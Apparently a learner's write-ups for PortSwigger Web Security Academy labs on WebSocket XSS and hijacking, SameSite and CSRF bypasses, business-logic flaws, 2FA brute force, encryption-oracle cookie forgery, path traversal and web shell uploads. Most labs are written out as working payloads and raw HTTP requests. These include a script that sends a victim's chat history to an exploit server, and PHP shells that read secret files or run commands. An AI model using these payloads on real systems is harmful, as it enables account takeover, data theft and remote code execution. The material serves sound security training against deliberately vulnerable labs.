First start a chat session. Replay a previous websocket session from Proxy->Websockets history tab. Add X-Forwarded-For: 2.2.2.2, whatever ip you want to bypass their ip blocking. If you send alert() in chat, your ip gets banned. Adding this HTTP header bypasses it on the initial websocket upgrade request.

The fatal flaw in their XSS filter is they don’t check for edge cases like newlines or obfuscation. One working payload is:

{"message":"<img src=x onerror
='alert
()'>"}

Lab: Cross-site WebSocket hijacking

This is the payload. How it works is you send this to the victim, they open it, and as soon as their client sends a ws.send(“READY”) message to server all their chat history gets sent to your exploit server. You will receive the requests in the parameters of the access logs. The password is there in plaintext, login to Carlos account with that password and lab solved!

<script>
  var ws = new WebSocket('wss://0af800fe049e0957800503ab004c0029.web-security-academy.net/chat');

ws.addEventListener("open", (event) => {
  ws.send("READY");
});

  ws.onmessage = function(event) {
    fetch('https://exploit-0ae2007d04e409c2805f025601e60091.exploit-server.net/exploit/'+event.data, {
      method: 'POST',
    });
  };
</script>

Lab: SameSite Strict bypass via sibling domain

This one is more challenging. The previous payload doesn’t work. It seems like the websocket history isnt sent directly, even after you send a “READY” to the server. This is probably because of SameSite=Strict in the cookie.

WTF. The sibling domain is https://cms-0a5b001b0326112a80831cfe002600b7.web-security-academy.net/login. So adding a “cms-“. I would have never figured this out. I took a hint from a writeup. Need to work on my website enumeration skills. Now in the username I can put <script>alert()</script> and when I login, JS gets executed.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://cms-0a5b001b0326112a80831cfe002600b7.web-security-academy.net/login" method="POST">
      <input type="hidden" name="username" value="<script>   var ws = new WebSocket('wss://0a5b001b0326112a80831cfe002600b7.web-security-academy.net/chat');  ws.addEventListener('open', (event) => {   ws.send('READY'); });    ws.onmessage = function(event) {     fetch('https://exploit-0a5500b6035d111280341bdf019c0036.exploit-server.net/exploit/'+event.data, {       method: 'POST',     });   }; </script>
" />
       <input type="hidden" name="password" value="a" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Simply send this request to the victim twice, you will solve the lab. The first time, the user will be prompted to the oauth page, then they will get redirected to the home page. Once you send it again, the email will change because the cookie is set even though its cross site because the SameSite=Lax.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0ad200700492873481776b8d002200f7.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="345354@iajsiodjoisajiodi" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Reading the solution, there is another way we can solve this lab.

<form action="https://0a4f002c049623a7809503e300ac005b.web-security-academy.net/my-account/change-email" method="POST">
  <input type="hidden" name="email" value="69@89102" />
</form>

<script>

window.onclick = () => {
  window.open('https://0a4f002c049623a7809503e300ac005b.web-security-academy.net/my-account');
  setTimeout(function() {
document.forms[0].submit();
}, 5000);
};

</script>

What you do is first send the user to oauth, then wait 5 seconds, then send the POST request to change their email.

Business logic vulnerabilities

Lab: Excessive trust in client-side controls

Too easy. Just intercept the add to cart request and change the price to 1, which is 1 cent. Buy and done.

Lab: 2FA broken logic

GET /login2 HTTP/2
Host: 0a630049030ede4080956c8400ff0006.web-security-academy.net
Cookie: verify=carlos; session=GJXYr1xotlMFETEYhhWXJh81CFg5HDMs
Pragma: no-cache
Cache-Control: no-cache
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Referer: https://0a630049030ede4080956c8400ff0006.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

Sending a GET to this login2 endpoint causes a 2fa email to be sent to the user specified after verify= in the cookie. So I change it to wiener, I get an email, carlos carlos gets an email. Now what you do is simply login as yourself and send a 2fa code to carlos, then brute force the 2fa code, which is only 4 digits 0-9, 10000 combinations. The bad logic is the login2 endpoint doesn’t communicate with the login endpoint, which means as long as I pass login2, I can use any credential for login and login to the account specified in login2.

POST /login2 HTTP/2
Host: 0a630049030ede4080956c8400ff0006.web-security-academy.net
Cookie: verify=wiener; session=GJXYr1xotlMFETEYhhWXJh81CFg5HDMs
Content-Length: 13
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: https://0a630049030ede4080956c8400ff0006.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a630049030ede4080956c8400ff0006.web-security-academy.net/login2
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

mfa-code=1901

Sending a post request with the mfa-code allows us to brute force the code. I used burp intruder on the carlos token. It took 3000 requests, but eventually I got it. You login as yourself, put the code for Carlos, intercept the request, change the cookie to carlos, and boom you are logged in as Carlos.

Lab: High-level logic vulnerability

Easy. Just buy 1 leather jacket, then -16 Com-Tool. Use Repeater to make life easier. Ensure that cart balance is >0 or it will fail.

Lab: Low-level logic flaw

Used Burp intruder to continuously send requests. Now if you add too many items, the price will overflow, so we count on this so the price is between 0-100. In my case I bought 353363 leather jackets and 7 Packaway Carports for a total price of 1.94. NICE!

Lab: Inconsistent handling of exceptional input

Basically you need to create an email that is exactly 255 characters before your @exploit… address like so: fffdgdfgdfgdfffsodaisodaisodaisodaisodaisodaisodaisodaisodaisodaasdasdasdasdasdasdasasddsadasdasdasdasdasdasasdasdasdasdasdsisodaisodaisodaisodaisodaisodaisodaisodaisodaisodaisodaisodaisodaisodaisodaisodaisodaisodaisodaisodaisodaisodaisodsdontwannacry.com@exploit-0a4b009d042ffadc80f5b65e01e000d1.exploit-server.net

The part before is exactly 255 characters. Why because the registration actually truncates everything past 255 characters, even though the email you are sent contains everything you specified. I don’t think there is a limit, so my inbox was full of thousands of lines of emails because I put in a very long email address. Now the validation only cares if the ending is dontwannacry.com. I spent a lot of time trying to encode 2 @ symbols, but that was a waste of time. As long as your email ended in dontwannacry.com, you had a tab for admin access. You click it and can delete Carlos’s account and all your other accounts you spent hours making…

Lab: Inconsistent security controls

Bruh. This one you make an account, verify it with your own email, then change your email without verification to anything ending with @dontwannacry.com, lab solved.

Lab: Weak isolation on dual-use endpoint

When you change the password, you can also specify the username. Simply use administrator as username, anything for current and passwords, submit and you should get this request:

POST /my-account/change-password HTTP/2
Host: 0a040028045d77ad8063218b00fb00e5.web-security-academy.net
Cookie: session=iVmVOOUmpaG3IHbgwtdxJKDCzHIy5otH
Content-Length: 106
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: https://0a040028045d77ad8063218b00fb00e5.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a040028045d77ad8063218b00fb00e5.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

csrf=4acR331wyDy76l88Wyp24cce5giOnQT5&username=wiener&current-password=a&new-password-1=a&new-password-2=a

Simply remove the &current-password=a entirely. This will allow you to set the password for any user. Change the password for administrator, login and delete Carlos.

Lab: Password reset broken logic

POST /forgot-password?temp-forgot-password-token=htjxjpdp6zr7qard4l8h5dhvo8ffk774 HTTP/2
Host: 0a8f00b904e9d5d28045269f00be0079.web-security-academy.net
Cookie: session=8I60T12aZLgNiq0rQMCbkvOIpwExmw8Y
Content-Length: 109
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: https://0a8f00b904e9d5d28045269f00be0079.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a8f00b904e9d5d28045269f00be0079.web-security-academy.net/forgot-password?temp-forgot-password-token=htjxjpdp6zr7qard4l8h5dhvo8ffk774
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

temp-forgot-password-token=htjxjpdp6zr7qard4l8h5dhvo8ffk774&username=carlos&new-password-1=a&new-password-2=a

Invoke a password reset for your own account, when you click the link, change the username field in the request to carlos, submit that request and you can login as carlos with that updated password.

Lab: 2FA simple bypass

Login as victim, drop all requests to GET /login2 HTTP/2 to prevent user from receiving any 2fa emails. Right after you drop the request, manually navigate to /my-account. Boom you bypassed 2fa, very simple.

Lab: Insufficient workflow validation

I first bought the cheapest item to look over the network traffic. It always ends with a request to a order confirmation page: GET /cart/order-confirmation?order-confirmed=true HTTP/2. So with this request saved in Burp repeater, we can then add any item to cart, send this request, and we bought it for free. Nice!

Lab: Authentication bypass via flawed state machine

I remember reading a Burp research paper about this. Basically you were considered by default admin until you selected your role. You can see this in the request right after you login. There is a request to GET /role-selector HTTP/2. You can drop this request and go directly to /my-account. You will notice you have an Admin panel tab. Click it, delete Carlos, and you are done.

Lab: Flawed enforcement of business rules

This one actually took me some time lol. You need to signup for the newsletter, all the way at the bottom of the page. This gives you another coupon code to use. When you apply this coupon, you can then apply the 5$ off coupon. Once you do that, it resets, so you can apply the 30% off coupon again, rinse and repeat. That is the business logic vulnerability, apply a different coupon and it resets some flag, which will allow you to apply the previous coupon again. This will eventually get the balance down to 0$, buy, and done.

Lab: Infinite money logic flaw

I immediately scrolled down and signed up for the newsletter. This gave me the same coupon as before: SIGNUP30. I also noticed a gift card for 10 dollars. If I put 1 giftcard in my cart, apply the coupon, pay, then redeem it, I get 3 dollars for free!! Ok so lets automate this so I don’t have to spend hours making these requests.

In Burp I created a macro in the following order:

  1. POST /cart
  2. POST /cart/coupon
  3. POST /cart/checkout
  4. GET /cart/order-confirmation?order-confirmed=true
  5. POSt /gift-card

We first add the gift card to the cart, apply the coupon, checkout, then fetch the gift card code using the GET request. We can also follow the redirect, but im too lazy. In the macro custom response, make the name gift-card, so subsequent requests can reference it. Finally, we redeem with a post request to /gift-card endpoint. Make sure the scope is set to everything. This means any request made with repeater, intruder etc will execute the macro.

Forward any random request to Burp intruder, select a null payload, and repeat that request 500 times. Wait 5 minutes and watch your balance increase. When it reaches 1000, you can actually stop, add the jacket to cart, apply the 30% off coupon, buy, and complete the lab. Very nice!

Lab: Authentication bypass via encryption oracle

This one was very challenging. Had to take a hint from a writeup, but still learned a lot. First, I was observing all the requests and responses. I logged in as wiener, ticked the “Stay logged in” button(IMPORTANT), posted a comment, but nothing stood out. I was expecting some encrypted response or something from the server, but nothing. Then I was submitting a comment and noticed that if I modify the request after submission, it triggered a set-cookie.

POST /post/comment HTTP/2
Host: 0a90001e04ea16bb80f8999c00b500ce.web-security-academy.net
Cookie: stay-logged-in=jDuCI3CsMfKMZJmP4IU34e6ArsWv6CS02ABLBAwr6gY%3d; session=Nw1LTQLlL7UhYWyUBGQ7CqtFGLLZd4RY
Content-Length: 123
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: https://0a90001e04ea16bb80f8999c00b500ce.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a90001e04ea16bb80f8999c00b500ce.web-security-academy.net/post?postId=4
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

csrf=EleG71rPiWvqTTYsPOkzL0uxwuIPPQ7B&postId=4&comment=oisajdoioisad&name=oasjdisad&email=iajsoidoiaoisjdoisajd&website=

Removing the %40 as URL encoded @ symbol and sending, I get this response:

HTTP/2 302 Found
Location: /post?postId=4
Set-Cookie: notification=7jvrtCe3DWMwTPqybSaIgovDVDuSTT%2bkQZX6AhQ5Rxm7PCUPvmJOne%2f7jcpjR4zn; HttpOnly
X-Frame-Options: SAMEORIGIN
Content-Length: 0

This notification=7jvrtCe3DWMwTPqybSaIgovDVDuSTT%2bkQZX6AhQ5Rxm7PCUPvmJOne%2f7jcpjR4zn was very interesting. Lets see what happens if we set the cookie and do a GET request to /post?postId=4 endpoint. Scrolling down a bit in the response I see this:

                   <header class="notification-header">
                    Invalid email address: iajsoidoiaoisjdoisajd                    </header>

What if we change the notification cookie by deleting one character? Well:

                    <h4>Internal Server Error</h4>
                    <p class=is-warning>Input length must be multiple of 16 when decrypting with padded cipher</p>

Good to know. It seems like that notification cookie is our encryption oracle. So sending a GET request to the /post?postId=4 endpoint decrypts the notification cookie and sending POST request with invalid email to the /post/comment endpoint encrypts data to the notification cookie. If we put the stay-logged-in value as the notification cookie, the decrypted response is:

                    <header class="notification-header">
                    wiener:1757016025489                    </header>

Nice! Lets try to make a stay-logged-in cookie that decrypts to administrator:timestamp. I send the POST comment request with administrator:1757016025489 as the email payload, which provides 7jvrtCe3DWMwTPqybSaIgi37eng1rTpjThhHbLFQMccrtiWSYoLO04t6Mia41eu5oZ7ekoixiP6kIviqiAMstQ%3d%3d as the notification cookie. Decrypting we get:

                    <header class="notification-header">
                    Invalid email address: administrator:1757016025489                    </header>

Good, so now we just need to remove the Invalid email address: part and all leading and trailing spaces. There looks like 23 bytes makes the Invalid email address: part, including whitespace. I counted each character and whitespace as a byte. Now remember the earlier error we got when we removed one character from the ciphertext? Input length must be multiple of 16 when decrypting with padded cipher. 23 is not a multiple of 16, so we must pad it with 9 bytes of data to make 32 bytes. We can do this by simply appending 9 characters in front of our “email” like this: xxxxxxxxxadministrator:1757016025489. When this payload gets encrypted, we can delete the first 32 bytes of data, which should give administrator:1757016025489 decrypted output.

Encrypting gives ciphertext: 7jvrtCe3DWMwTPqybSaIgsFHbHgMlqjCV68%2btaq2mp7blkzhlZVqeUSz3z6zwAhcgQUpFRroiyxm27TEnxzSHA%3d%3d. Now we can use Burp decoder to parse this. First URL decode, then observe it is actually base64 data, so base64 decode. Delete the first 32 bytes of data, then base64 encode, finally url encode. This gives ciphertext: %32%35%5a%4d%34%5a%57%56%61%6e%6c%45%73%39%38%2b%73%38%41%49%58%49%45%46%4b%52%55%61%36%49%73%73%5a%74%75%30%78%4a%38%63%30%68%77%3d. Send this as the notification cookie in the GET request to decrypt it. Observe:

                    <header class="notification-header">
                    administrator:1757016025489                    </header>

Perfect! We have the correct payload to use in our stay-logged-in cookie. Using Burp repeater, set this cookie as the ciphertext. Delete all other cookies. The response should provide a new session cookie. Copy this and go to developer options->Application->Cookies in Chromium.

Cookie: stay-logged-in=%32%35%5a%4d%34%...;

session=8fkvLK7NiAFwU9vOow2qRuPTjBhB1w7g

Set the stay-logged-in cookie to the ciphertext made by Burp decoder. The session cookie should be changed to the one returned by the server after you sent the GET request. Upon refreshing the page, observe you are logged out and a Admin panel tab is now visible. Click on it, delete user carlos, done!!

File upload vulnerabilities

Lab: Remote code execution via web shell upload

POST /my-account/avatar HTTP/2
Host: 0a9600fa0377503280b4fddf00a900e9.web-security-academy.net
Cookie: session=LOlsTNu2z1BPhcl0y461krDOKRDfeiel
Content-Length: 478
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: https://0a9600fa0377503280b4fddf00a900e9.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBBHMdWxeJlXLZccP
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a9600fa0377503280b4fddf00a900e9.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

------WebKitFormBoundaryBBHMdWxeJlXLZccP
Content-Disposition: form-data; name="avatar"; filename="asoij.php"
Content-Type: application/octet-stream

<?php echo file_get_contents('/home/carlos/secret'); ?>


------WebKitFormBoundaryBBHMdWxeJlXLZccP
Content-Disposition: form-data; name="user"

wiener
------WebKitFormBoundaryBBHMdWxeJlXLZccP
Content-Disposition: form-data; name="csrf"

KKSFoltenG7RL0KlN56Oh1kU1PyG2yUI
------WebKitFormBoundaryBBHMdWxeJlXLZccP--

Upload filename="asoij.php" as a avatar and visit that by going to /files/avatars/asoij.php. You should get a token, submit that and lab solved.

Lab: Web shell upload via Content-Type restriction bypass

POST /my-account/avatar HTTP/2
Host: 0a1a00c6039843c9b8e7f18400f50004.web-security-academy.net
Cookie: session=DywdOYT1IgPeqrtfWhzyR0GQRAwFOmK6
Content-Length: 471
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: https://0a1a00c6039843c9b8e7f18400f50004.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryefr9D90cNcWYTcTW
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a1a00c6039843c9b8e7f18400f50004.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

------WebKitFormBoundaryefr9D90cNcWYTcTW
Content-Disposition: form-data; name="avatar"; filename="asjdjasiodjo.php"
Content-Type: image/jpeg

<?php echo file_get_contents('/home/carlos/secret'); ?>


------WebKitFormBoundaryefr9D90cNcWYTcTW
Content-Disposition: form-data; name="user"

wiener
------WebKitFormBoundaryefr9D90cNcWYTcTW
Content-Disposition: form-data; name="csrf"

NlvVjldfXrDCDqxEAH0unuBhDuWXrnTa
------WebKitFormBoundaryefr9D90cNcWYTcTW--

This one is too easy, just change the Content-Type to image/jpeg.

Lab: File path traversal, simple case

GET /image?filename=../../../etc/passwd HTTP/2
Host: 0a6e00d1042146b98040a442001d00fa.web-security-academy.net
Cookie: session=Zn7rovOWRS5KungPoXT1MP22DsdsrL2q
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://0a6e00d1042146b98040a442001d00fa.web-security-academy.net/resources/labheader/css/academyLabHeader.css
Accept-Encoding: gzip, deflate, br
Priority: i

Lab: File path traversal, traversal sequences blocked with absolute path bypass

This shouldn’t be PRACTITIONER lol.

GET /image?filename=/etc/passwd HTTP/2
Host: 0a74007503f07c5f8065ee68003f00b2.web-security-academy.net
Cookie: session=euOnvB308Xp0nNdFpnys6cuwPKccuMoi
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

Lab: File path traversal, traversal sequences stripped non-recursively

You can use nested traversal sequences to bypass restrictions. The ....// gets parsed to ../, just duplicate each character.

GET /image?filename=....//....//....//etc/passwd HTTP/2
Host: 0a8800370469f97380e53afc00b400d4.web-security-academy.net
Cookie: session=hIJrz57kFp4oW2NRmAjGDtiNTYSNjA30
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a8800370469f97380e53afc00b400d4.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

Lab: File path traversal, traversal sequences stripped with superfluous URL-decode

For this one we double URL encode our payload. I used Burp intruder, Fuzzing - Path Traversal payload. %2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252fetc%2fpasswd. This is actually double URL encoded of ../../../../../../../../../../../../etc/passwd.

GET /image?filename=%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252fetc%2fpasswd HTTP/2
Host: 0a0b005504b0a514845ad23000dc002b.web-security-academy.net
Cookie: session=S7ql1JeUtkbMOAaWwQa94cu6ZhsCFxJT
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0b005504b0a514845ad23000dc002b.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

Lab: File path traversal, validation of start of path

GET /image?filename=/var/www/images/../../../etc/passwd HTTP/2
Host: 0a8200f6039636568422dbd300580017.web-security-academy.net
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Referer: https://portswigger.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

Lab: File path traversal, validation of file extension with null byte bypass

Interesting. %00 is a null byte, so it terminates the string.

GET /image?filename=../../../etc/passwd%00.jpg HTTP/2
Host: 0ab500f704d7d3238263b14100000074.web-security-academy.net
Cookie: session=nY8co3V6v57VDHp52SA35otOmTgrrwGZ
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://portswigger.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

Lab: Web shell upload via path traversal

This was was a bit tricky, but I eventually got it. The trick is to URL encode ONCE your path traversal payload. Observe that we can’t execute anything inside /files/avatars/ directory. If we are able to upload our web shell to /files we are golden. In the payload below, the filename is url encoded ONCE from ../a.php. When the server executes this, the file gets uploaded one directory lower, success.

POST /my-account/avatar HTTP/2
Host: 0a2400780490f2e881c8d49b0016008b.web-security-academy.net
Cookie: session=7BMSHmIcDDE5PC9ZjWFE3wi933wXmPQq
Content-Length: 477
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: https://0a2400780490f2e881c8d49b0016008b.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybUOhKcCdXMEAK8Ls
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a2400780490f2e881c8d49b0016008b.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

------WebKitFormBoundarybUOhKcCdXMEAK8Ls
Content-Disposition: form-data; name="avatar"; filename="%2e%2e%2f%61%2e%70%68%70"
Content-Type: application/octet-stream

<?php echo system($_GET['command']); ?>


------WebKitFormBoundarybUOhKcCdXMEAK8Ls
Content-Disposition: form-data; name="user"

wiener
------WebKitFormBoundarybUOhKcCdXMEAK8Ls
Content-Disposition: form-data; name="csrf"

hjam2DdIHHhIVp6CJx69rmGQNRUGiFkc
------WebKitFormBoundarybUOhKcCdXMEAK8Ls--

